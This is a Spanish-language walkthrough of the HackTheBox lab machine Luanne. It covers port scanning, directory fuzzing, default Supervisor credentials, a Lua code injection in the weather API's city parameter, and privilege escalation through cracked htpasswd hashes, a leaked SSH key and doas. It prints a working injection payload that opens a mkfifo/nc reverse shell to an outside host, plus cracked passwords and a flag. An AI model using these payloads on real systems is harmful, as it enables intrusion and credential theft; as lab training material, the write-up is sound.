Luanne es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad fácil.
En este caso se trata de una máquina basada en el Sistema Operativo NetBSD.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Luanne 10.10.10.218 a /etc/hosts como luanne.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# Nmap 7.70 scan initiated Fri Dec 4 14:53:30 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.218 Nmap scan report for luanne.htb (10.10.10.218) Host is up (0.051s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) | ssh-hostkey: | 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA) | 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA) |_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519) 80/tcp open http nginx 1.19.0 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=. | http-robots.txt: 1 disallowed entry |_/weather |_http-server-header: nginx/1.19.0 |_http-title: 401 Unauthorized 9001/tcp open http Medusa httpd 1.12 (Supervisor process manager) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=default |_http-server-header: Medusa/1.12 |_http-title: Error response Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 4 15:07:22 2020 -- 1 IP address (1 host up) scanned in 832.73 seconds |
En este caso encontramos varios puertos abiertos, un portal web en el puerto 80 y otro portal web con el software supervisor en el puerto 9001, así que procederemos a revisar los mismos.
Enumeración
Comenzamos la enumeración revisando el portal web en el puerto 80, al que no podemos acceder ya que nos solicita una contraseña que no tenemos:
Revisamos las opciones básicas y encontramos el fichero robots.txt donde aparece el siguiente texto:
1 2 |
User-agent: * Disallow: /weather #returning 404 but still harvesting cities |
Aunque probamos el acceso al directorio mencionado y nos da un 404, tal como dice en el fichero robots, por lo que utilizaremos wfuzz para intentar descubrir si existe algún directorio dentro de este:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ wfuzz -u http://10.10.10.218/weather/FUZZ -w /usr/share/wordlists/dirb/big.txt --hc 404 -t 50 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.218/weather/FUZZ Total requests: 20469 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000007819: 200 1 L 12 W 90 Ch "forecast" Total time: 32.59721 Processed Requests: 20469 Filtered Requests: 20468 Requests/sec.: 627.9369 |
Y encontramos el directorio forecast, por lo que accedemos al mismo y vemos la siguiente ventana:
Tal y como indica es necesario indicar el parámetro city para ver las ciudades existentes así que lo añadimos a la url para visualizar el listado:
Analizaremos cada una de ellas por si existe algún dato que nos ayude a continuar y para ello utilizaremos curl, en primer lugar obtendremos el listado de ciudades:
1 2 |
$ curl http://10.10.10.218/weather/forecast?city=list -s | cut -d "[" -f 2 | cut -d "]" -f 1 "London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester" |
Y posteriormente los datos de cada una de ellas:
1 2 3 |
$ for i in {"London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"}; do \ curl http://10.10.10.218/weather/forecast?city=${i} | tee ${i}.json; \ done |
Revisamos los mismos pero parece que es un agujero de conejo porque no vemos nada que nos pueda ayudar a continuar.
Pasaremos entonces a revisar el segundo portal en el puerto 9000, para el cual también nos solicita credenciales, pero viendo que se trata del servicio supervisor utilizamos las claves por defecto del mismo:
1 2 |
user=user pass=123 |
Y conseguimos acceder:
Revisamos el portal y las opciones disponibles aunque en este caso tampoco conseguimos nada así que nos toca volver de nuevo al json de ciudades a ver si podemos realizar algún ataque sobre el parámetro city.
Intentaremos realizar la ejecución de comandos por lo que trataremos de añadir algún valor al mismo con el objetivo de verificar la vulnerabilidad, introduciremos lo siguiente:
1 |
city=London");'print("bytemind");-- |
Y vemos en burp suite como el ataque ha salido tal y como esperábamos:
La ciudad LondonBytemind no existe, por lo que queda claro que se ha tragado nuestro comando. Realizamos varias pruebas de ello y obtenemos el siguiente error:
1 |
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value |
Así que utilizaremos os.execute junto con las opciones de lua indicadas en gtfobins y mkfifo para obtener nuestra shell. Nuestro payload entonces quedaría de la siguiente forma:
1 |
city=London');os.execute("rm /tmp/f;mkfifo /tmp/test;cat /tmp/test|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/test")-- |
Codificaremos el mismo:
1 |
city=London%27%29%3Bos.execute%28%22rm%20%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ftest%3Bcat%20%2Ftmp%2Ftest%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.13%204444%20%3E%2Ftmp%2Ftest%22%29-- |
Enviaremos la petición con curl y automáticamente obtendremos una shell en nuestra escucha con el usuario _httpd:
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from luanne.htb [10.10.10.218] 65304 sh: can't access tty; job control turned off $ id uid=24(_httpd) gid=24(_httpd) groups=24(_httpd) $ whoami _httpd $ |
Enumeramos el sistema partiendo del directorio web y encontramos un fichero .htpasswd que suele contener credenciales:
1 2 3 4 5 6 7 8 |
$ ls -la total 20 drwxr-xr-x 2 root wheel 512 Nov 25 11:27 . drwxr-xr-x 24 root wheel 512 Nov 24 09:55 .. -rw-r--r-- 1 root wheel 47 Sep 16 15:07 .htpasswd -rw-r--r-- 1 root wheel 386 Sep 17 20:56 index.html -rw-r--r-- 1 root wheel 78 Nov 25 11:38 robots.txt $ |
Y vemos que contiene un nombre de usuario y el hash de su contraseña:
1 2 |
$ cat .htpasswd webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 |
Así que vamos a utilizar John para tratar de obtener la misma en plano:
1 2 3 4 5 6 7 8 9 10 |
$ john webapihash -w=/usr/share/wordlists/rockyou.txtWarning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status iamthebest (webapi_user) 1g 0:00:00:00 DONE (2020-12-04 16:55) 1.408g/s 4326p/s 4326c/s 4326C/s secrets..ANTHONY Use the "--show" option to display all of the cracked passwords reliably Session completed |
Vale la tenemos pero, no podemos loguearnos con la misma en el servidor, así que vamos a probar si podemos hacerlo en el portal web del puerto 80 para el cual no teníamos antes credenciales y lo conseguimos observando el siguiente contenido:
No parece muy útil la información que hay en el mismo así que seguiremos con nuestra investigación y encontramos el puerto 3001 que antes no conocíamos:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
$ netstat -ant Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 10.10.10.218.9001 10.10.14.13.40574 ESTABLISHED tcp 0 0 10.10.10.218.9001 10.10.14.13.40570 ESTABLISHED tcp 0 0 10.10.10.218.65293 10.10.14.13.4444 ESTABLISHED tcp 0 0 127.0.0.1.3000 127.0.0.1.65294 CLOSE_WAIT tcp 0 0 127.0.0.1.65294 127.0.0.1.3000 FIN_WAIT_2 tcp 0 0 127.0.0.1.3000 127.0.0.1.65296 FIN_WAIT_2 tcp 0 0 127.0.0.1.65296 127.0.0.1.3000 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 127.0.0.1.65305 CLOSE_WAIT tcp 0 0 127.0.0.1.3000 *.* LISTEN tcp 0 0 127.0.0.1.3001 *.* LISTEN tcp 0 0 *.80 *.* LISTEN tcp 0 0 *.22 *.* LISTEN tcp 0 0 *.9001 *.* LISTEN Active Internet6 connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp6 0 0 *.22 *.* LISTEN Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr fffffa0068f6bac0 stream 0 0 0 fffffa0068f6ba50 0 0 fffffa0068f6ba50 stream 0 0 0 fffffa0068f6bac0 0 0 fffffa0068f6b510 stream 0 0 fffffa0117716d58 0 0 0 /var/supervisord/run/supervisord.sock.340 fffffa0068f6bb30 dgram 0 0 0 fffffa0068f6b2e0 0 fffffa0068f6b900 -> /var/run/log fffffa0068f6b7b0 dgram 0 0 0 0 0 0 fffffa0068f6b900 dgram 0 0 0 fffffa0068f6b2e0 0 0 -> /var/run/log fffffa0068f6b2e0 dgram 0 0 fffffa011a41bc08 0 fffffa0068f6bcf0 0 /var/run/log fffffa0068f6bcf0 dgram 0 0 0 fffffa0068f6b2e0 0 fffffa0068f6bb30 -> /var/run/log |
Hacemos una prueba con curl y nos da un error 401:
1 2 3 4 5 6 7 8 9 |
$ curl http://127.0.0.1:3001/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 199 100 199 0 0 99500 0 --:--:-- --:--:-- --:--:-- 99500 <html><head><title>401 Unauthorized</title></head> <body><h1>401 Unauthorized</h1> /: <pre>No authorization</pre> <hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address> </body></html> |
Haremos una segunda prueba, pero en este caso introduciremos las credenciales descubiertas:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/ -s <!doctype html> <html> <head> <title>Index</title> </head> <body> <p><h3>Weather Forecast API</h3></p> <p><h4>List available cities:</h4></p> <a href="/weather/forecast?city=list">/weather/forecast?city=list</a> <p><h4>Five day forecast (London)</h4></p> <a href="/weather/forecast?city=London">/weather/forecast?city=London</a> <hr> </body> </html> |
Y vemos lo mismo que en el portal web. Después de darle una vuelta intentamos obtener información del usuario r.michaels existente en la máquina, aunque parece que el fichero id_rsa no se encuentra en la carpeta .ssh
1 2 3 4 5 6 |
$ curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/.ssh/id_rsa -s <html><head><title>404 Not Found</title></head> <body><h1>404 Not Found</h1> ~r.michaels/.ssh/id_rsa: <pre>This item has not been found</pre> <hr><address><a href="//127.0.0.1:3001/">127.0.0.1:3001</a></address> </body></html> |
Hacemos una segunda prueba, pero en este caso sin añadir la carpeta .ssh en la petición y en este caso conseguimos la clave ssh del usuario:
1 2 3 4 5 6 7 8 |
$ curl --user webapi_user:iamthebest -s http://127.0.0.1:3001/~r.michaels/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB Icxo9PpLUYzecwdU3LqJlzjFga3kG7VdSEWm+C1fiI4LRwv/iRKyPPvFGTVWvxDXFTKWXh 0DpaB9XVjggYHMr0dbYcSF2V5GMfIyxHQ8vGAE+QeW9I0Z2nl54ar/I/j7c87SY59uRnHQ --- -----END OPENSSH PRIVATE KEY----- |
Obteniendo la flag de user
Ahora que tenemos la clave ssh del usuario, nos loquearemos con la misma para conseguir la flag de user:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ ssh -i /tmp/r.michaels.pem r.michaels@luanne.htb The authenticity of host 'luanne.htb (10.10.10.218)' can't be established. ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo. Are you sure you want to continue connecting (yes/no/[fingerprint])? ye Please type 'yes', 'no' or the fingerprint: yes Warning: Permanently added 'luanne.htb,10.10.10.218' (ECDSA) to the list of known hosts. Last login: Fri Sep 18 07:06:51 2020 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 Welcome to NetBSD! luanne$ id uid=1000(r.michaels) gid=100(users) groups=100(users) luanne$ whoami r.michaels luanne$ ls -l total 16 dr-xr-xr-x 2 r.michaels users 512 Nov 24 09:26 backups dr-xr-x--- 4 r.michaels users 512 Sep 16 15:02 devel dr-x------ 2 r.michaels users 512 Sep 16 16:52 public_html -r-------- 1 r.michaels users 33 Sep 16 17:16 user.txt luanne$ cat user.txt ea5f0ce6a917b0be1eabc7f9218febc0 luanne$ |
Escalado de privilegios
Procedemos ahora con la enumeración del sistema para obtener root y encontramos un backup del portal en la home del usuario:
1 2 3 4 5 6 |
luanne$ pwd /home/r.michaels/backups luanne$ ll total 4 -r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc luanne$ |
Pero se trata de un fichero .enc por lo que necesitaremos utilizar algo más que un simple tar, así que buscando en google generamos el comando con netgpg y extraemos el contenido:
1 2 3 4 |
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output /tmp/devel_backup-2020-09-16.tar.gz signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a uid RSA 2048-bit key <r.michaels@localhost> |
Ahora nos iremos a /tmp para ver el contenido del backup:
1 2 3 4 5 6 7 8 9 10 |
luanne$ cd /tmp luanne$ ll total 8 -rw------- 1 r.michaels wheel 1639 Dec 4 16:47 devel_backup-2020-09-16.tar.gz luanne$ tar xf devel_backup-2020-09-16.tar.gz luanne$ ll total 16 drwxr-x--- 4 r.michaels wheel 96 Sep 16 15:02 devel-2020-09-16 -rw------- 1 r.michaels wheel 1639 Dec 4 16:47 devel_backup-2020-09-16.tar.gz luanne$ |
Revisando el mismo encontramos el fichero .htpasswd encontrado anteriormente, pero en este caso el hash es diferente:
1 2 |
luanne$ cat .htpasswd webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. |
Así que obtenemos el mismo en plano con John:
1 2 3 4 5 6 7 8 9 10 11 |
$ john webapihash2 -w=/usr/share/wordlists/rockyou.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status littlebear (webapi_user) 1g 0:00:00:00 DONE (2020-12-04 17:31) 2.564g/s 33476p/s 33476c/s 33476C/s tormenta..hello11 Use the "--show" option to display all of the cracked passwords reliably Session completed |
Y probamos a loguearnos con root pero nos devuelve un error al intentarlo:
1 2 3 |
luanne$ su su: You are not listed in the correct secondary group (wheel) to su root. su: Sorry: Authentication error |
Así que buscamos en google y encontramos el comando doas para openbsd que podemos utilizar para realizar este paso a root.
Ejecutamos el mismo y somos root:
1 2 3 4 5 6 7 |
luanne$ doas -u root /bin/sh Password: sh: Cannot determine current working directory # id uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm) # whoami root |
Obteniendo la flag de root
Ahora que somos root, vamos a la home de este usuario y conseguimos nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# cd /root # ls -l total 28 -r--r--r-- 2 root wheel 1220 Feb 14 2020 .cshrc -rw------- 1 root wheel 59 Feb 14 2020 .klogin -rw-r--r-- 1 root wheel 212 Feb 14 2020 .login -r--r--r-- 2 root wheel 701 Feb 14 2020 .profile -rw-r--r-- 1 root wheel 221 Feb 14 2020 .shrc -r-x------ 1 root wheel 178 Nov 24 09:57 cleanup.sh -r-------- 1 root wheel 33 Sep 16 19:10 root.txt # cat root.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx6 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace